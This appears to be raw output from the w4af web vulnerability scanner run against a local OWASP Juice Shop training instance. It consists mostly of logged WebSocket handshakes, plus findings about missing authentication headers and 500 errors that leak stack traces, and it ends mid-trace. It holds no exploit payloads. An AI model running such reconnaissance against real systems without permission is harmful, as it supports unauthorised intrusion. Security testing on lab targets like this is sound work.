b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: x8iNHU+sNfi4CGf/xvdwQ+o7BzI=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=bt2Ikw1-G_o9CwZ2AAAJ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: dUrOAHDO24+4sLUZddjUng== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 3ANmdoM3fRiCCUWwy5hZpBxXgJU=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=9DHdvynFxeJObZNxAAAX HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: uWAparTK5BpXTX21zkt2HA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: U/tv2opJSz0vbUf7/TltxpsO+WE=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fYYG5c4DvuNhzeJ6AAAl HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: kgJP0KCCQUDaKPe9/RHOaQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: WyKiDLMQpD0ytO6EZMAQgT9Rwdk=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=DvVsB3FDFqNS79iAAAAn HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: R8SEr/FF6uBKkM4SZmVM5w== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: Aerjt5CKbvFZWzEP+1jvKYJS4ls=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Nmwg28JjqJGdEbC7AAAZ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vJ3zItdn31G0W5PaXgXq2g== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: KtySTylQfM0SOnxSCp13DPyQ+to=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fjx5JNc7YYp6Uz8sAAAL HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 2SsrT1oT9TFTRYbc2QFKTA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: uGutAgTlLFH3wUL8WqAnSJb810Y=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=1tzVy-pWLhJO9ZiiAAA7 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: AKWKLchEcdckUnSFInHMsw== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: aeNrA4ihdCk1ENIQiWZtgkSDXvo=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=pqp6FTtQJcpMAuqlAAAq HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: +7NhbVxjaq9gYTOtn4k12w== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rXynPFmb5vOiTzBAV6w5oEcO5Fo=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=SkGCFnuDPQMFQopNAAAN HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 8QLgQEGTlbTRleALPfCxDA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: P6t4it3qaMyBkVuIQST2zHPgsDM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=p55OCFEko0Ag2tScAAAb HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: RWFVEnG30N3rUn4k1sLKaA== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rFD4ub7Hh/JuPsqt3VGXNgNkehE=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=91ypgKpaYbU1Z7eeAAAp HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vf5QZ3OYQX7oGEDpvuVP6w== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: ibw/N18rPeO7Y4ihRsRtxHVXPiw=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=MBdmC-X0aTWvOgmzAAAz HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: YaBE4/Y/MLFHxFvoQHTgOQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 6CUF+7VlEynGmBbsTsGrs1qoNWM=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=j9kTC6AVDBP8H_zVAAA0 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: r6pyWf30TJzHQOCoI+pIVw== Connection: keep-alive, Upgrade Cookie: language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: tVxljvIm7TjqgAgfqoIc3T1fOoU=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=RzT3PKFkAaqFeDdTAAA9 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: zwVEEO68XCvWXNht8jLLzg== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: sYt0tF3t4gFN2NXW++QPAlC+w+g=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=LkPBvi-I7c9UKj9PAAAt HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 6+MZNMNe/h8uG6AwMoU3iQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: 5aMEMdA8OTC8ZL94DirL9Y80eoY=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=RbpHQ0D7zwoVCfwNAAA_ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: vxdtGspHY9epqZh3kLrOpQ== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: NZV+wCmbjVbgXhllWuaOXRnKNaQ=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Zay-C8DLcBhixppLAAAe HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 9idrT16MC9JJTCoyD2O63Q== Connection: keep-alive, Upgrade Cookie: language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: rRcATFLilnEkmTY34Dquzz3zK8A=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=9FjsA81Qn8h-CVhyAAAd HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: oCb3WA8867KkhdEFJSvgCg== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: BnrYR3+A7F5LFA4/q1Qyqx63lRY=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=5f_rxp2p0KU-WMd9AAAF HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: 02KOa9ZtpAc+WUvdZU98pg== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: SF7fuDUA8FBJEyvtH6h2UfKg1As=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=IDEJ4u5V47bd944UAAAQ HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: y2F2U4LQiAiECKmkXsNqGg== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: BSYGP3XeTWl+bJZbu13FxsLOfa4=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=Wrf5OJ_3ct9WbgczAAAP HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: NIjjhu4Aw+BIXv8MCqZUQQ== Connection: keep-alive, Upgrade Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: fSrUCecZxW0ctuLK0IFJRu4WHf8=\r\n' b''
GET http://localhost:3000/socket.io/?EIO=4&transport=websocket&sid=fXSznTaMw0tCiVjrAAA3 HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: */* Accept-language: en-US,en;q=0.5 Sec-websocket-version: 13 Origin: http://localhost:3000 Sec-websocket-key: fGmIPiKisASjgoxQd6FMKQ== Connection: keep-alive, Upgrade Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en; cookieconsent_status=dismiss; welcomebanner_status=dismiss Pragma: no-cache Cache-control: no-cache Upgrade: websocket Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: hgenOxTN8nwOWXXK8vkDq9YaHbo=\r\n' b''
The resource: "http://localhost:3000/rest/user/login" requires authentication (HTTP Code 401) but the www-authenticate header is not present. This requires human verification. This information was found in the request with id 2851.
POST http://localhost:3000/rest/user/login HTTP/1.1
User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Host: localhost:3000
Accept: application/json, text/plain, */*
Accept-language: en-US,en;q=0.5
Referer: http://localhost:3000/
Content-type: application/json
Content-length: 58
Origin: http://localhost:3000
Connection: keep-alive
Cookie: language=en; welcomebanner_status=dismiss
Accept-encoding: gzip, deflate
{"email":"LuaZwRuSXDyXLSJMEFpPTOgb","password":"CNNnICew"}
b'HTTP/1.1 401 Unauthorized\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 26\r\nETag: W/"1a-ARJvVK+smzAF3QQve2mDSG+3Eus"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:44:02 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n' b'Invalid email or password.'
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/api/rRVdO". This information was found in the request with id 16063.
GET http://localhost:3000/api/rRVdO HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:13 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /api/rRVdO</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /api/rRVdO</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at logger (/home/kali/Scanners/juice-shop/node_modules/morgan/index.js:144:5)</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li></ul>\n </div>\n </body>\n</html>\n'
The resource: "http://localhost:3000/api/Challenges/comGi" requires authentication (HTTP Code 401) but the www-authenticate header is not present. This requires human verification. This information was found in the request with id 16129.
PUT http://localhost:3000/api/Challenges/comGi HTTP/1.1 User-agent: w4af.net Content-type: text/plain Accept-encoding: gzip, deflate Content-length: 6 Host: localhost:3000 Accept: */* skgJDj
b"HTTP/1.1 401 Unauthorized\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 23:49:15 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>UnauthorizedError: No Authorization header was found</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>401</em> UnauthorizedError: No Authorization header was found</h2>\n <ul id="stacktrace"></ul>\n </div>\n </body>\n</html>\n'
DAV seems to be incorrectly configured. The web server answered with a 500 error code. In most cases, this means that the DAV extension failed in some way. This error was found at: "http://localhost:3000/rest/OrLEb". This information was found in the request with id 16412.
GET http://localhost:3000/rest/OrLEb HTTP/1.1 User-agent: w4af.net Accept-encoding: gzip, deflate Host: localhost:3000 Accept: */*
b"HTTP/1.1 500 Internal Server Error\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment 'self'\r\nX-Recruiting: /#/jobs\r\nContent-Type: text/html; charset=utf-8\r\nVary: Accept-Encoding\r\nContent-Encoding: gzip\r\nDate: Tue, 05 Mar 2024 23:49:34 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\nTransfer-Encoding: chunked\r\n"
b'<html>\n <head>\n <meta charset=\'utf-8\'> \n <title>Error: Unexpected path: /rest/OrLEb</title>\n <style>* {\n margin: 0;\n padding: 0;\n outline: 0;\n}\n\nbody {\n padding: 80px 100px;\n font: 13px "Helvetica Neue", "Lucida Grande", "Arial";\n background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));\n background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);\n background-repeat: no-repeat;\n color: #555;\n -webkit-font-smoothing: antialiased;\n}\nh1, h2 {\n font-size: 22px;\n color: #343434;\n}\nh1 em, h2 em {\n padding: 0 5px;\n font-weight: normal;\n}\nh1 {\n font-size: 60px;\n}\nh2 {\n margin-top: 10px;\n}\nul li {\n list-style: none;\n}\n#stacktrace {\n margin-left: 60px;\n}\n</style>\n </head>\n <body>\n <div id="wrapper">\n <h1>OWASP Juice Shop (Express ^4.17.1)</h1>\n <h2><em>500</em> Error: Unexpected path: /rest/OrLEb</h2>\n <ul id="stacktrace"><li> at /home/kali/Scanners/juice-shop/build/routes/angular.js:38:18</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:168:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at /home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:286:9</li><li> at Function.process_params (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:346:12)</li><li> at next (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:280:10)</li><li> at /home/kali/Scanners/juice-shop/build/routes/verify.js:105:5</li><li> at Layer.handle [as handle_request] (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/layer.js:95:5)</li><li> at trim_prefix (/home/kali/Scanners/juice-shop/node_modules/express/lib/router/index.js:328:13)</li><li> at 